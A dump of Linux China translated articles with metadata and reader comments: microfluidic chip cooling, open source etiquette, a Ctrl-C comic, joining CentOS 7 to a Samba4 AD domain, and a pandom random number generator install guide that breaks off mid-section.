作者：[Akshay Pai](https://www.howtoforge.com/tutorial/installing-tensorflow-neural-network-software-for-cpu-and-gpu-on-ubuntu-16-04/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
微流冷却技术可能让摩尔定律起死回生
|
Michael Kassner
|
http://www.techrepublic.com/article/microfluidic-cooling-may-prevent-the-demise-of-moores-law/
|
硅对电子流动的阻力产生了热量，在如此小的空间封装如此多的晶体管累积了足以毁坏元器件的热量。一种消除热累积的方法是在芯片层用光子学技术减少电子的流动，然而光子学技术有它的一系列问题。
|
/data/attachment/album/201705/16/094910gtb1cmihv68tqmii.jpg.thumb.jpg
|
/data/attachment/album/201705/16/094910gtb1cmihv68tqmii.jpg
| true | false | true |
messon007
| false |
[
"摩尔定律",
"CPU"
] |
观点
|
{
"viewnum": 4490,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.20.112.126",
"message": "快搞成人体的结构了。哈哈",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-16T10:57:40"
},
{
"postip": "223.65.85.24",
"message": "没错。和人体的毛细血管类似，皮下散热。",
"username": "来自江苏南京的 Firefox 52.0|Windows 10 用户",
"date": "2017-05-17T14:45:50"
},
{
"postip": "221.203.203.27",
"message": "那量子隧穿效应呢",
"username": "来自辽宁本溪的 Chrome Mobile 58.0|Android 5.1 用户",
"date": "2017-05-21T11:14:10"
},
{
"postip": "218.6.128.136",
"message": "太强大了！评论里的一句话点开了仿生学的思路。cpu的复杂性超过了大型应用软件了吗？",
"username": "来自四川南充的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-21T13:46:14"
}
] |
[] |
硅对电子流动的阻力产生了热量，在如此小的空间封装如此多的晶体管累积了足以毁坏元器件的热量。一种消除热累积的方法是在芯片层用光子学技术减少电子的流动，然而光子学技术有它的一系列问题。
| 2017-05-16T09:49:08 | 2017-05-16T09:49:08 | 8,513 |
/article-8513-1.html
|
现有的技术无法对微芯片进行有效的冷却，这正快速成为摩尔定律消亡的第一原因。
随着对数字计算速度的需求，科学家和工程师正努力地将更多的晶体管和支撑电路放在已经很拥挤的硅片上。的确，它非常地复杂，然而，和复杂性相比，热量聚积引起的问题更严重。
洛克希德马丁公司首席研究员 John Ditri 在新闻稿中说到：当前，我们可以放入微芯片的功能是有限的，最主要的原因之一是发热的管理。如果你能管理好发热，你可以用较少的芯片，也就是说较少的材料，那样就可以节约成本，并能减少系统的大小和重量。如果你能管理好发热，用相同数量的芯片将能获得更好的系统性能。
硅对电子流动的阻力产生了热量，在如此小的空间封装如此多的晶体管累积了足以毁坏元器件的热量。一种消除热累积的方法是在芯片层用光子学技术减少电子的流动，然而光子学技术有它的一系列问题。
参见： [2015 年硅光子将引起数据中心的革命](http://www.techrepublic.com/article/silicon-photonics-will-revolutionize-data-centers-in-2015/)
### 微流冷却技术可能是问题的解决之道
为了寻找其他解决办法，美国国防高级研究计划局 DARPA 发起了一个关于 [ICECool 应用](https://www.fbo.gov/index?s=opportunity&mode=form&id=0be99f61fbac0501828a9d3160883b97&tab=core&_cview=1) （片内/片间增强冷却技术）的项目。 [GSA 的网站 FedBizOpps.gov](https://www.fbo.gov/index?s=opportunity&mode=form&id=0be99f61fbac0501828a9d3160883b97&tab=core&_cview=1) 报道：ICECool 正在探索革命性的热技术，其将减轻热耗对军用电子系统的限制，同时能显著减小军用电子系统的尺寸，重量和功耗。
微流冷却方法的独特之处在于组合使用片内和(或)片间微流冷却技术和片上热互连技术。
*MicroCooling 1 Image: DARPA*
[DARPA ICECool 应用发布的公告](https://www.fbo.gov/index?s=opportunity&mode=form&id=0be99f61fbac0501828a9d3160883b97&tab=core&_cview=1) 指出，这种微型片内和(或)片间通道可采用轴向微通道、径向通道和(或)横流通道，采用微孔和歧管结构及局部液体喷射形式来疏散和重新引导微流，从而以最有利的方式来满足指定的散热指标。
通过上面的技术，洛克希德马丁的工程师已经实验性地证明了片上冷却是如何得到显著改善的。洛克希德马丁新闻报道：ICECool 项目的第一阶段发现，当冷却具有多个局部 30kW/cm2 热点，发热为 1kw/cm2 的芯片时热阻减少了 4 倍，进而验证了洛克希德的嵌入式微流冷却方法的有效性。
第二阶段，洛克希德马丁的工程师聚焦于 RF 放大器。通过 ICECool 的技术，团队演示了 RF 的输出功率可以得到 6 倍的增长，而放大器仍然比其常规冷却的更凉。
### 投产
出于对技术的信心，洛克希德马丁已经在设计和制造实用的微流冷却发射天线。 洛克希德马丁还与 Qorvo 合作，将其热解决方案与 Qorvo 的高性能 [GaN 工艺](http://electronicdesign.com/communications/what-s-difference-between-gaas-and-gan-rf-power-amplifiers) 相集成。
研究论文 [DARPA 的片间/片内增强冷却技术（ICECool）流程](http://www.csmantech.org/Digests/2013/papers/050.pdf) 的作者认为 ICECool 将使电子系统的热管理模式发生改变。ICECool 应用的执行者将根据应用来定制片内和片间的热管理方法，这个方法需要兼顾应用的材料，制造工艺和工作环境。
如果微流冷却能像科学家和工程师所说的成功的话，似乎摩尔定律会起死回生。
（题图：iStock/agsandrew）
---
via: <http://www.techrepublic.com/article/microfluidic-cooling-may-prevent-the-demise-of-moores-law/>
作者：[Michael Kassner](http://www.techrepublic.com/search/?a=michael+kassner) 译者：[messon007](https://github.com/messon007) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
六个开源软件开发的“潜规则”
|
Matt Hicks
|
http://www.infoworld.com/article/3156776/open-source-tools/the-6-unwritten-rules-of-open-source-development.html
|
你想成为开源项目中得意满满、功成名就的那个人吗，那就要遵守下面的“潜规则”。
|
/data/attachment/album/201705/16/103430y5wcz3by50jfyy2v.jpg.thumb.jpg
|
/data/attachment/album/201705/16/103430y5wcz3by50jfyy2v.jpg
| true | false | true |
Taylor1024
| true |
[
"开源",
"社区"
] |
观点
|
{
"viewnum": 7186,
"commentnum": 1,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "222.35.94.194",
"message": "文案水平相当不错。",
"username": "枫落夜舞 [Chrome 58.0|GNU/Linux]",
"date": "2017-05-18T09:44:18"
}
] |
[] |
你想成为开源项目中得意满满、功成名就的那个人吗，那就要遵守下面的“潜规则”。
| 2017-05-16T10:38:00 | 2017-05-16T10:38:00 | 8,514 |
/article-8514-1.html
|
>
> 你想成为开源项目中得意满满、功成名就的那个人吗，那就要遵守下面的“潜规则”。
>
>
>
正如体育界不成文的规定一样，这些规则基本上不会出现在官方文档和正式记录上。比如说，在棒球运动中，从比分领先时不要盗垒，到跑垒员跑了第一时也不要放弃四坏球保送。对于圈外人来讲，这些东西很难懂，甚至觉得没什么意义。但是对于那些想成为 MVP 的队员来说，这些都是理所当然的。
软件开发，特别是开源软件开发中，也有一套不成文的规定。和其它的团队运动一样，这些规定很大程度上决定了开源社区如何看待一名开发者，特别是新加入社区的开发者。
### 按部就班，循序渐进
在参与社区之前，比如开放源代码或者其它什么的，你需要做一些基本工作。对于有眼界的开源贡献者，这意味这你需要理解社区的目标，并学习应该从哪里起步。人人都想贡献源代码，但是只有少量的人做过准备，并且乐意、同时也有能力完成这项艰苦卓绝的工作：测试补丁、复审代码、撰写文档、修正错误。所有的这些不受待见的任务在一个健康的社区中都是必要的。
为什么要在优雅地写代码前做这些呢？这是一种信任，更重要的是，不要只关注自己开发的功能，而是要关注整个社区的动向。
### 博闻强识，敦善不怠
当你在某个社区中建立起自己的声望，那么很有必要全面了解该项目和代码。不要停留于任务状态上，而是要去钻研项目本身，理解那些超出你擅长范围之外的知识。不要只把自己的理解局限于开发者，这样会让你着眼于让你的代码有更大的影响，而不只是你那一亩三分地。
打个比方，你已经完成了一个网络模块的测试版本。你测试了一下，觉得不错。然后你把它开放到社区，想要更多的人测试。结果发现，当它以特定的方式部署时，有可能会破坏安全设置，还可能导致主存储泄露。如果你将代码视为一个整体时问题就可以迎刃而解，而不是孤立地看待问题。这表明，你要对项目各个部分如何与其他人协作交互有比较深入的理解。让你的补丁填坑而不是挖坑。这样你朝成为社区精英的目标上又前进了一大步。
### 粗枝大叶，自寻烦恼
代码提交完毕后你的工作还没结束。如果代码被接受，还会有一些关于这些更改的讨论和常见的问答，还要做测试。你要确保你可以准时提交，努力去理解如何在不影响社区其他成员的情况下，改进代码和补丁。
### 和谐相处，助人助己
开源社区不是自相残杀的丛林世界，我们更看重项目的价值而非个体的贡献和成功。如果你想给自己加分，让自己成为更重要的社区成员、让社区接纳你的代码，那就努力帮助别人。如果你熟悉网络部分，那就去复审网络部分，用你的专业技能让整个代码更加优雅。道理很简单，顶级的审查者经常和顶级的贡献者打交道。你帮助的人越多，你就越有价值。
### 八面玲珑，面面俱到
作为一个开发者，你很可能希望为开源项目解决一个特定的痛点。或许你想要运行在一个目前还不支持的系统上，抑或你很希望改革社区目前使用的安全技术。想要引进新技术，特别是比较有争议的技术，最好的办法就是让人无法拒绝它。你需要透彻地了解底层代码，考虑每个极端情况。在不影响已实现功能的前提下增加新功能。不仅仅是完成就行，还要在特性的完善上下功夫。
### 糜不有初，鲜克有终
开源社区也有许多玩玩就算的人，但是承诺了就不要轻易失信。不要就因为提交被拒就离开社区。找出原因，修正错误，然后再试一试。当你开发时候，要和整个代码库保持一致，确保即使项目发生变化而你的补丁仍然可用。不要把你的代码留给别人修复，要自己修复。这样可以在社区形成良好的风气，每个人都自己改。
---
这些“潜规则”看上去很简单，但是还是有许多开源项目的贡献者并没有遵守。这样做的开发者不仅可以为成功地推动他们自己的项目，而且也有助于开源社区。
作者简介：
Matt Hicks 是 Red Hat 软件工程的副主席，也是 Red Hat 开源合作团队的奠基成员之一。他历时十五年，在软件工程中担任多种职务：开发，运行，架构，管理。
---
via: <http://www.infoworld.com/article/3156776/open-source-tools/the-6-unwritten-rules-of-open-source-development.html>
作者：[Matt Hicks](http://www.infoworld.com/blog/new-tech-forum/) 译者：[Taylor1024](https://github.com/Taylor1024) 校对：[wxy](https://github.com/wxy)，[martin2011qi](https://github.com/martin2011qi )
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：现代的邪恶——不许 Ctrl-C
|
Daniel Stori
|
https://turnoff.us/geek/modern-evil/
|
在页面上，Control-C 的作用是复制，当一个页面禁用了 Control-C 时……这得是多邪恶？！
|
/data/attachment/album/201705/17/105129dulndas0sanjjssa.png.thumb.jpg
|
/data/attachment/album/201705/17/105129dulndas0sanjjssa.png.large.jpg
| false | false | true |
Bestony
| false |
[
"漫画"
] |
极客漫画
|
{
"viewnum": 8165,
"commentnum": 10,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "58.213.224.242",
"message": "这个我遇到过，对于只要拷一小段文本的我，直接打开网页源代码。解决",
"username": "二次元萌控森 [Sogou Explorer 2|Windows 7]",
"date": "2017-05-17T11:05:37"
},
{
"postip": "175.167.128.236",
"message": "难道Ctrl+C不是cancel么。。",
"username": "来自辽宁沈阳的 Chrome Mobile 58.0|Android 6.0 用户",
"date": "2017-05-18T08:18:37"
},
{
"postip": "27.17.54.74",
"message": "不能Ctrl+c 那我就F12",
"username": "来自湖北武汉的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-18T08:39:37"
},
{
"postip": "124.65.191.2",
"message": "Ctrl+c不行就Ctrl+w",
"username": "来自北京的 Vivaldi 1.9|Windows 10 用户",
"date": "2017-05-18T16:14:15"
},
{
"postip": "106.6.93.25",
"message": "这时候，，，轻轻按下F12",
"username": "来自江西的 Chrome 50.0|Windows 10 用户",
"date": "2017-05-18T16:14:44"
},
{
"postip": "111.201.14.82",
"message": "针对页面来说，是 copy",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-18T17:18:12"
},
{
"postip": "211.91.218.239",
"message": "还以为是程序不能中断",
"username": "来自湖南的 Chrome 17.0|Windows Server 2003 用户",
"date": "2017-05-20T10:31:18"
},
{
"postip": "111.8.67.117",
"message": "或许可以使用noscript :-)",
"username": "来自湖南湘潭的 Firefox 52.0|Windows 7 用户",
"date": "2017-06-30T22:30:26"
},
{
"postip": "27.36.229.1",
"message": "小虫虫，爬呀爬。。",
"username": "S_XRAYS [Chrome 60.0|GNU/Linux]",
"date": "2017-08-12T01:24:27"
},
{
"postip": "120.229.45.242",
"message": "油猴，JS",
"username": "何亮 [Chrome 72.0|Windows 10]",
"date": "2019-06-08T16:08:52"
}
] |
[] |
在页面上，Control-C 的作用是复制，当一个页面禁用了 Control-C 时……这得是多邪恶？！
| 2017-05-17T10:50:00 | 2017-05-17T10:50:00 | 8,515 |
/article-8515-1.html
|
在页面上，Control-C 的作用是复制，当一个页面禁用了 Control-C 时……这得是多邪恶？！
---
via: <https://turnoff.us/geek/modern-evil/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[Bestony](https://github.com/Bestony) 校对&合成：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Samba 系列（九）：将 CentOS 7 桌面系统加入到 Samba4 AD 域环境中
|
Matei Cezar
|
http://www.tecmint.com/join-centos-7-to-samba4-active-directory/
|
这篇文章讲述了如何使用 Authconfig-gtk 工具将 CentOS 7 桌面系统加入到 Samba4 AD 域环境中，并使用域帐号登录到 CentOS 系统。
|
/data/attachment/album/201705/17/145148z2z2sccj8cp7sj68.jpg.thumb.jpg
|
/data/attachment/album/201705/17/145148z2z2sccj8cp7sj68.jpg
| true | false | true |
rusking
| false |
[
"samba"
] |
系统运维
|
{
"viewnum": 11398,
"commentnum": 4,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "没有必要编辑网络适配器的配置文件，7 的话完全可以用 nmcli 这种 help 的命令行工具，当然也无需重启服务。域名 .lan 估计也有问题，因为 SAMBA 强烈建议选用在互联网广泛使用的顶级域名，否则在实际使用会遇到一系列问题，比如拿不到针对该域名的数字证书。我看 .lan 并不是被广泛使用的域名。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-17T16:45:24"
},
{
"postip": "122.192.13.116",
"message": "加域只需要安装samba-winbind这个包就可以了，其他的多余。",
"username": "来自江苏的 UC Browser 11.3|Android 6.0 用户",
"date": "2017-05-18T07:40:01"
},
{
"postip": "111.201.14.82",
"message": ".lan 并非有效的顶级域吧。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-18T08:07:48"
},
{
"postip": "119.145.5.245",
"message": "大佬，我按您的方法还是加入不进去。提示：Failed to join domain: failed to connect to AD: No logon servers are currently available to service the logon request.",
"username": "来自广东深圳的 Internet Explorer 11.0|Windows 10 用户",
"date": "2020-05-21T18:37:44"
}
] |
[
{
"raid": 8479,
"displayorder": 0
},
{
"raid": 8567,
"displayorder": 0
}
] |
这篇文章讲述了如何使用 Authconfig-gtk 工具将 CentOS 7 桌面系统加入到 Samba4 AD 域环境中，并使用域帐号登录到 CentOS 系统。
| 2017-05-17T14:57:00 | 2017-05-17T14:57:00 | 8,516 |
/article-8516-1.html
|
这篇文章讲述了如何使用 Authconfig-gtk 工具将 CentOS 7 桌面系统加入到 Samba4 AD 域环境中，并使用域帐号登录到 CentOS 系统。
### 要求
1、[在 Ubuntu 系统中使用 Samba4 创建活动目录架构](/article-8065-1.html)
2、[CentOS 7.3 安装指南](/article-8048-1.html)
### 第一步：在 CentOS 系统中配置 Samba4 AD DC
1、在将 CentOS 7 加入到 Samba4 域环境之前，你得先配置 CentOS 系统的网络环境，确保在 CentOS 系统中通过 DNS 可以解析到域名。
打开网络设置，关闭有线网卡。打开下方的设置按钮，手动编辑网络设置，指定 DNS 的 IP 地址为 Samba4 AD DC 服务器的 IP 地址。
设置完成之后，应用配置，并打开有线网卡。
*网络设置*
*配置网络*
2、下一步，打开网络配置文件，在文件末尾添加一行域名信息。这样能确保当你仅使用主机名来查询域中的 DNS 记录时， DNS 解析器会自动把域名添加进来。
```
$ sudo vi /etc/sysconfig/network-scripts/ifcfg-eno16777736
```
添加下面一行：
```
SEARCH="your_domain_name"
```
**
*网卡配置*
3、最后，重启网卡服务以应用更改，并验证解析器的配置文件是否正确配置。我们通过使用 ping 命令加上 DC 服务器的主机名或域名以验证 DNS 解析能否正常运行。
```
$ sudo systemctl restart network
$ cat /etc/resolv.conf
$ ping -c1 adc1
$ ping -c1 adc2
$ ping tecmint.lan
```
*验证网络配置是否正常*
4、同时，使用下面的命令来配置你的主机名，然后重启计算机以应用更改：
```
$ sudo hostnamectl set-hostname your_hostname
$ sudo init 6
```
使用下面的命令来验证主机名是否正确配置：
```
$ cat /etc/hostname
$ hostname
```
5、最后一步配置是使用下面的命令来保证系统时间跟 Samba4 AD DC 服务器的时间同步：
```
$ sudo yum install ntpdate
$ sudo ntpdate -ud domain.tld
```
### 第二步：安装要加入 Samba4 AD DC 所必需的软件包
6、为了将 CentOS 7 加入到活动目录域中，你需要使用下面的命令来安装相关的软件包：
```
$ sudo yum install samba samba samba-winbind krb5-workstation
```
7、最后，安装 CentOS 软件库中提供的图形化界面软件包： Authconfig-gtk 。该软件用于将 CentOS 系统集成到域环境中。
```
$ sudo yum install authconfig-gtk
```
### 第三步：将 CentOS 7 桌面系统集成到 Samba4 AD DC 域环境中
8、将 CentOS 加入到域的过程非常简单。使用有 root 权限的帐号在命令行下打开 Authconfig-gtk 程序，然后按下图所示修改相关配置即可：
```
$ sudo authconfig-gtk
```
打开身份或认证配置页面：
* 用户帐号数据库 ： 选择 Winbind
* Winbind 域 ： 你的域名
* 安全模式 ： ADS
* Winbind ADS 域 ： 你的域名.TLD
* 域控制器 ： 域控服务器的全域名
* 默认Shell ： /bin/bash
* 勾选允许离线登录
*域认证配置*
打开高级选项配置页面：
* 本地认证选项 ： 支持指纹识别
* 其它认证选项 ： 用户首次登录创建家目录
*高级认证配置*
9、修改完上面的配置之后，返回到身份或认证配置页面，点击加入域按钮，在弹出的提示框点保存即可。
*身份和认证*
*保存认证配置*
10、保存配置之后，系统将会提示你提供域管理员信息以将 CentOS 系统加入到域中。输入域管理员帐号及密码后点击 OK 按钮，加入域完成。
*加入 Winbind 域环境*
11、加入域后，点击应用按钮以让配置生效，选择所有的 windows 并重启机器。
*应用认证配置*
12、要验证 CentOS 是否已成功加入到 Samba4 AD DC 中，你可以在安装了 [RSAT 工具](/article-8097-1.html) 的 windows 机器上，打开 AD 用户和计算机工具，点击域中的计算机。
你将会在右侧看到 CentOS 主机信息。
*活动目录用户和计算机*
### 第四步：使用 Samba4 AD DC 帐号登录 CentOS 桌面系统
13、选择使用其它账户，然后输入域帐号和密码进行登录，如下图所示：
```
Domain\domain_account
或
Domain_user@domain.tld
```
**
*使用其它账户*
**
*输入域用户名*
14、在 CentOS 系统的命令行中，你也可以使用下面的任一方式来切换到域帐号进行登录：
```
$ su - domain\domain_user
$ su - domain_user@domain.tld
```
**
*使用域帐号登录*
*使用域帐号邮箱登录*
15、要为域用户或组添加 root 权限，在命令行下使用 root 权限帐号打开 `sudoers` 配置文件，添加下面一行内容：
```
YOUR_DOMAIN\\domain_username ALL=(ALL:ALL) ALL #For domain users
%YOUR_DOMAIN\\your_domain\ group ALL=(ALL:ALL) ALL #For domain groups
```
**
*指定用户和用户组权限*
16、使用下面的命令来查看域控制器信息：
```
$ sudo net ads info
```
**
*查看域控制器信息*
17、你可以在安装了 Winbind 客户端的机器上使用下面的命令来验证 CentOS 加入到 Samba4 AD DC 后的信任关系是否正常：
```
$ sudo yum install samba-winbind-clients
```
然后，执行下面的一些命令来查看 Samba4 AD DC 的相关信息：
```
$ wbinfo -p ### Ping 域名
$ wbinfo -t ### 检查信任关系
$ wbinfo -u ### 列出域用户帐号
$ wbinfo -g ### 列出域用户组
$ wbinfo -n domain_account ### 查看域帐号的 SID 信息
```
**
*查看 Samba4 AD DC 信息*
18、如果你想让 CentOS 系统退出域环境，使用具有管理员权限的帐号执行下面的命令，后面加上域名及域管理员帐号，如下图所示：
```
$ sudo net ads leave your_domain -U domain_admin_username
```
**
*退出 Samba4 AD 域*
这篇文章就写到这里吧！尽管上面的这些操作步骤是将 CentOS 7 系统加入到 Samba4 AD DC 域中，其实这些步骤也同样适用于将 CentOS 7 桌面系统加入到 Microsoft Windows Server 2008 或 2012 的域中。
---
作者简介：
我是一个电脑迷，开源 Linux 系统和软件爱好者，有 4 年多的 Linux 桌面、服务器系统使用和 Base 编程经验。
---
via: <http://www.tecmint.com/join-centos-7-to-samba4-active-directory/>
作者：[Matei Cezar](http://www.tecmint.com/author/cezarmatei/) 译者：[rusking](https://github.com/rusking) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何安装 pandom ： 一个针对 Linux 的真随机数生成器
|
Oliver
|
https://www.howtoforge.com/tutorial/how-to-install-pandom-a-true-random-number-generator/
|
本文将解释如何安装 pandom，这是一个由 ncomputers.org 维护的定时抖动真随机数生成器。
|
/data/attachment/album/201705/17/204255id9jk0uijgo0g6jk.jpg.thumb.jpg
|
/data/attachment/album/201705/17/204255id9jk0uijgo0g6jk.jpg
| true | false | true |
FSSlc
| false |
[
"随机数",
"pandom"
] |
技术
|
{
"viewnum": 5604,
"commentnum": 2,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "112.97.233.67",
"message": "真随机？ 扯淡。",
"username": "来自广东深圳的 Internet Explorer 8.0|Windows 7 用户",
"date": "2017-05-19T11:22:11"
},
{
"postip": "223.65.170.31",
"message": "较新的 intel CPU 支持 RNRAND 指令集，这个伪随机方法比较实用。",
"username": "来自江苏南京的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-25T00:06:07"
}
] |
[] |
本文将解释如何安装 pandom，这是一个由 ncomputers.org 维护的定时抖动真随机数生成器。
| 2017-05-17T20:44:28 | 2017-05-17T20:44:28 | 8,517 |
/article-8517-1.html
|
本教程只针对 amd64/x86\_64 架构 Linux 内核版本大于等于 2.6.9 的系统。本文将解释如何安装 [pandom](http://ncomputers.org/pandom)，这是一个由 ncomputers.org 维护的定时抖动真随机数生成器。
### 简介
在现在的计算机状况下，比如说配置了固态硬盘（SSD）的个人电脑和虚拟专用服务器（VPS）的环境中，Linux 内核内置的真随机数发生器提供的吞吐量很低。
而出于各种不同的加密目的使得对真随机数的需求持续增长，从而使得这个低吞吐量问题在 Linux 实现中变得越来越严重。
在与上述相同的物理或者虚拟环境下，并假设没有其它进程以 root 身份向 `/dev/random` 进行写操作的话，64 [ubits](http://ncomputers.org/ubit)/64 bits 的 pandom 可以以 8 KiB/s 的速率生成随机数。
### 1 pandom 的安装
#### 1.1 获得 root 权限
Pandom 必须以 root 身份来安装，所以在必要的时候请运行如下命令：
```
su -
```
#### 1.2 安装编译所需的依赖
为了下载并安装 pandom，你需要 GNU `as` 汇编器、GNU `make`、GNU `tar` 和 GNU `wget` (最后两个工具通常已被安装)。随后你可以按照你的意愿卸载它们。
**基于 Arch 的系统：**
```
pacman -S binutils make
```
**基于 Debian 的系统：**
```
apt-get install binutils make
```
基于 Red Hat 的系统：
```
dnf install binutils make
yum install binutils make
```
**基于 SUSE 的系统：**
```
zypper install binutils make
```
#### 1.3 下载并析出源码
下面的命令将使用 `wget` 和 `tar` 从 ncomputers.org 下载 pandom 的源代码并将它们解压出来：
```
wget http://ncomputers.org/pandom.tar.gz
tar xf pandom.tar.gz
cd pandom/amd64-linux
```
#### 1.4 在安装前进行测试 (推荐)
这个被推荐的测试将花费大约 8 分钟的时间，它将检查内核支持情况并生成一个名为 `checkme` 的文件（在下一节中将被分析）。
```
make check
```
#### 1.5 确定系统的初始化程序
在安装 pandom 之前，你需要知道你的系统使用的是哪个初始化程序。假如下面命令的输出中包含 `running`，则意味着你的系统使用了 `systemd`，否则你的系统则可能使用了一个 `init.d` 的实现（例如 upstart、sysvinit）。
```
systemctl is-system-running
running
```
#### 1.6 安装 pandom
一旦你知道了你的系统使用何种 Linux 实现，那么你就可以相应地安装 pandom 了。
**使用基于 init.d 作为初始化程序（如： upstart、sysvinit）的系统：**
假如你的系统使用了一个 init.d 的实现（如： upstart、sysvinit），请运行下面的命令来安装 pandom：
```
make install-init.d
```
**以 systemd 作为初始化程序的系统：**
假如你的系统使用 `systemd`，则请运行以下命令来安装 pandom：
```
make install-systemd
```
### 2 checkme 文件的分析
在使用 pandom 进行加密之前，强烈建议分析一下先前在安装过程中生成的 `checkme` 文件。通过分析我们便可以知道用 pandom 生成的数是否真的随机。本节将解释如何使用 ncomputers.org 的 shell 脚本 `entropyarray` 来测试由 pandom 产生的输出的熵及序列相关性。
**注**：整个分析过程也可以在另一台电脑上完成，例如在一个笔记本电脑或台式机上。举个例子：假如你正在一个资源受到限制的 VPS 上安装 pandom 程序，或许你更倾向于将 `checkme` 复制到自己的个人电脑中，然后再进行分析。
#### 2.1 获取 root 权限
`entropyarray` 程序也必须以 root 身份来安装，所以在必要时请运行如下命令：
```
su -
```
#### 2.2 安装编译所需的依赖
为了下载并安装 `entropyarray`， 你需要 GNU g++ 编译器、GNU `make`、GNU `tar` 和 GNU `wget`。在随后你可以任意卸载这些依赖。
**基于 Arch 的系统：**
```
pacman -S gcc make
```
**基于 Debian 的系统：**
```
apt-get install g++ make
```
**基于 Red Hat 的系统：**
```
dnf install gcc-c++ make
yum install gcc-c++ make
```
**基于 SUSE 的系统：**
```
zypper install gcc-c++ make
```
#### 2.3 下载并析出源码
以下命令将使用 `wget` 和 `tar` 从 ncomputers.org 下载到 entropyarray 的源码并进行解压：
```
wget http://ncomputers.org/rearray.tar.gz
wget http://ncomputers.org/entropy.tar.gz
wget http://ncomputers.org/entropyarray.tar.gz
tar xf entropy.tar.gz
tar xf rearray.tar.gz
tar xf entropyarray.tar.gz
```
#### 2.4 安装 entropyarray
**注**：如果在编译过程中报有关 `-std=c++11` 的错误，则说明当前系统安装的 GNU g++ 版本不支持 ISO C++ 2011 标准，那么你可能需要在另一个支持该标准的系统中编译 ncomputers.org/entropy 和 ncomputers.org/rearray （例如在一个你喜爱的较新的 Linux 发行版本中来编译）。接着使用 `make install` 来安装编译好的二进制文件，再接着你可能想继续运行 `entropyarray` 程序，或者跳过运行该程序这一步骤，然而我还是建议在使用 pandom 来达到加密目地之前先分析一下 `checkme` 文件。
```
cd rearray; make install; cd ..
cd entropy; make install; cd ..
cd entropyarray; make install; cd ..
```
#### 2.5 分析 checkme 文件
**注**：64 [ubits](http://ncomputers.org/ubit) / 64 bits 的 pandom 实现所生成的结果中熵应该高于 `15.977` 且 `max` 字段低于 `70`。假如你的结果与之相差巨大，或许你应该按照下面第 5 节介绍的那样增加你的 pandom 实现的不可预测性。假如你跳过了生成 `checkme` 文件的那一步，你也可以使用其他的工具来进行测试，例如 [伪随机数序列测试](http://www.fourmilab.ch/random/)。
```
entropyarray checkme
entropyarray in /tmp/tmp.mbCopmzqsg
15.977339
min:12
med:32
max:56
15.977368
min:11
med:32
max:58
15.977489
min:11
med:32
max:59
15.977077
min:12
med:32
max:60
15.977439
min:8
med:32
max:59
15.977374
min:13
med:32
max:60
15.977312
min:12
med:32
max:67
```
#### 2.6 卸载 entropyarray (可选)
假如你打算不再使用 `entropyarray`，那么你可以按照你自己的需求卸载它：
```
cd entropyarray; make uninstall; cd ..
cd entropy; make uninstall; cd ..
cd rearray; make uninstall; cd ..
```
### 3 使用 debian 的软件仓库来进行安装
假如你想在你基于 debian 的系统中让 pandom 保持更新，则你可以使用 ncomputers.org 的 debian 软件仓库来安装或者重新安装它。
#### 3.1 获取 root 权限
以下的 debian 软件包必须以 root 身份来安装，所以在必要时请运行下面这个命令：
```
su -
```
#### 3.2 安装密钥
下面的 debian 软件包中包含 ncomputers.org debian 软件仓库的公匙密钥：
```
wget http://ncomputers.org/debian/keyring.deb
dpkg -i keyring.deb
rm keyring.deb
```
#### 3.3 安装软件源列表
下面这些 debian 软件包含有 ncomputers.org debian 软件仓库的软件源列表，这些软件源列表对应最新的 debian 发行版本(截至 2017 年)。
**注**：你也可以将下面的以 `#` 注释的行加入 `/etc/apt/sources.list` 文件中，而不是为你的 debian 发行版本安装对应的 debian 软件包。但假如这些源在将来改变了，你就需要手动更新它们。
**Wheezy：**
```
#deb http://ncomputers.org/debian wheezy main
wget http://ncomputers.org/debian/wheezy.deb
dpkg -i wheezy.deb
rm wheezy.deb
```
Jessie：
```
#deb http://ncomputers.org/debian jessie main
wget http://ncomputers.org/debian/jessie.deb
dpkg -i jessie.deb
rm jessie.deb
```
**Stretch：**
```
#deb http://ncomputers.org/debian stretch main
wget http://ncomputers.org/debian/stretch.deb
dpkg -i stretch.deb
rm stretch.deb
```
#### 3.4 升级软件源列表
一旦密钥和软件源列表安装完成，则可以使用下面的命令来更新：
```
apt-get update
```
#### 3.5 测试 pandom
测试完毕后，你可以随意卸载下面的软件包。
**注**：假如你已经在你的 Linux 中测试了 pandom ， 则你可以跳过这一步。
```
apt-get install pandom-test
pandom-test
generating checkme file, please wait around 8 minutes ...
entropyarray in /tmp/tmp.5SkiYsYG3h
15.977366
min:12
med:32
max:57
15.977367
min:13
med:32
max:57
15.977328
min:12
med:32
max:61
15.977431
min:12
med:32
max:59
15.977437
min:11
med:32
max:57
15.977298
min:11
med:32
max:59
15.977196
min:10
med:32
max:57
```
#### 3.6 安装 pandom
```
apt-get install pandom
```
### 4 管理 pandom
在 pandom 安装完成后，你可能想对它进行管理。
#### 4.1 性能测试
